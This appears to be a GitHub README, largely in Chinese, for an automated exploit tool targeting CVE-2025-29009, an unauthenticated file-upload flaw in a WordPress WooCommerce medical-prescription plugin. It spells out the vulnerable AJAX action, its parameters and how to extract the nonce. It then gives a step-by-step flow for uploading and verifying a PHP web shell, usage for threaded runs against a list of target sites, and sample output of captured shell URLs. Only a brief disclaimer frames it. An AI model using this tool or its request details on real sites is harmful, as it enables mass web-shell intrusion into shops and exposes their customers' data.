Nxploited/CVE-2025-29009
GitHub: Nxploited/CVE-2025-29009
针对 WordPress 插件任意文件上传漏洞的自动化利用工具。
Stars: 0 | Forks: 0
# CVE-2025-29009
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 存在高优先级任意文件上传漏洞
# CVE-2025-29009
### Webkul Medical Prescription Attachment — 无限制文件上传 → Web Shell
```
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
```





## ❶ 漏洞
| 字段 | 详情 |
|---|---|
| **CVE** | CVE-2025-29009 |
| **插件** | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| **影响版本** | 所有 **≤ 1.2.3** 版本 |
| **认证要求** | **无需认证** |
| **漏洞类型** | 上传危险类型文件 → Web Shell 上传 |
| **CWE** | CWE-434 · 上传危险类型文件 |
**根本原因:**
`wkwcpa_handle_prescription_session` AJAX 处理器(`action=wkwcpa_handle_prescription_session`)通过 `wkwc_pa_prescription_attachment[]` 接受文件上传,但未在服务端验证文件扩展名或 MIME 类型。未经身份验证的攻击者可以从公开的 WooCommerce 商店前端提取 `ajaxNonce`(嵌入在 `wkwcpaFrontObj` JavaScript 对象中),然后直接将 PHP Web Shell 上传到服务器的上传目录。响应会返回已上传文件的完整可访问 URL。
## ❷ 攻击流程
```
┌──────────────────────────────────────────────────────────────┐
│ 1. Resolve front page │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Extract nonce │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Upload shell │
│ POST │
│ action = wkwcpa_handle_prescription_session │
│ nonce = │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Parse response │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verify shell │
│ GET → check for unique signature │
│ │
│ 6. Save to shells.txt │
└──────────────────────────────────────────────────────────────┘
```
## ❸ 环境准备
```
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
```
**`requirements.txt`**
```
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
```
## ❹ Shell 准备
创建你的 PHP Shell 并嵌入一个唯一的签名字符串,以便工具验证执行是否成功:
```
```
保存为与脚本同一目录下的 `shell.php`。
字符串 `NxploitedShellOK` 是 **签名** —— 必须出现在 Shell 的响应中才能验证通过。
## ❺ 使用方法
```
python3 CVE-2025-29009.py
```
### 提示
```
Targets file (default list.txt): list.txt
Threads (default 10): 10
Local shell filename (e.g. shell.php): shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK
```
### 目标格式 — `list.txt`
```
https://target1.com
target2.com
http://target3.com
```
## ❻ 输出结果
| 文件 | 内容 |
|---|---|
| `shells.txt` | 每行一个已验证的 Shell URL |
**终端输出:**
```
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
```
## ❼ 错误代码
| 代码 | 含义 |
|---|---|
| `shell_file_missing` | 工作目录中未找到 `shell.php` |
| `no_front_page` | 未返回 HTTP 200 的候选页面 |
| `nonce_not_found` | 页面上未找到 `wkwcpaFrontObj` |
| `upload_error` | POST 请求期间发生网络错误 |
| `json_parse_error` | 响应不是有效的 JSON |
| `success_false` | 服务器返回 `data.success = false` |
| `no_attachments` | 上传成功但响应中无 URL |
| `shell_url_not_found` | 无法从响应 HTML 解析文件 URL |
## ❽ 作者
```
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
```
[](https://github.com/Nxploited)
[](https://t.me/KNxploited)
## ❾ 免责声明
```
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
```
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Fixed in 1.2.4
标签:Chaos, CISA项目, CVE-2025-29009, CWE-434, PHP Web Shell, WebShell, WooCommerce, WordPress, 上传目录遍历, 任意文件上传, 医疗处方, 插件安全, 文件上传漏洞, 未授权访问, 漏洞披露, 电子商务, 逆向工具, 附件插件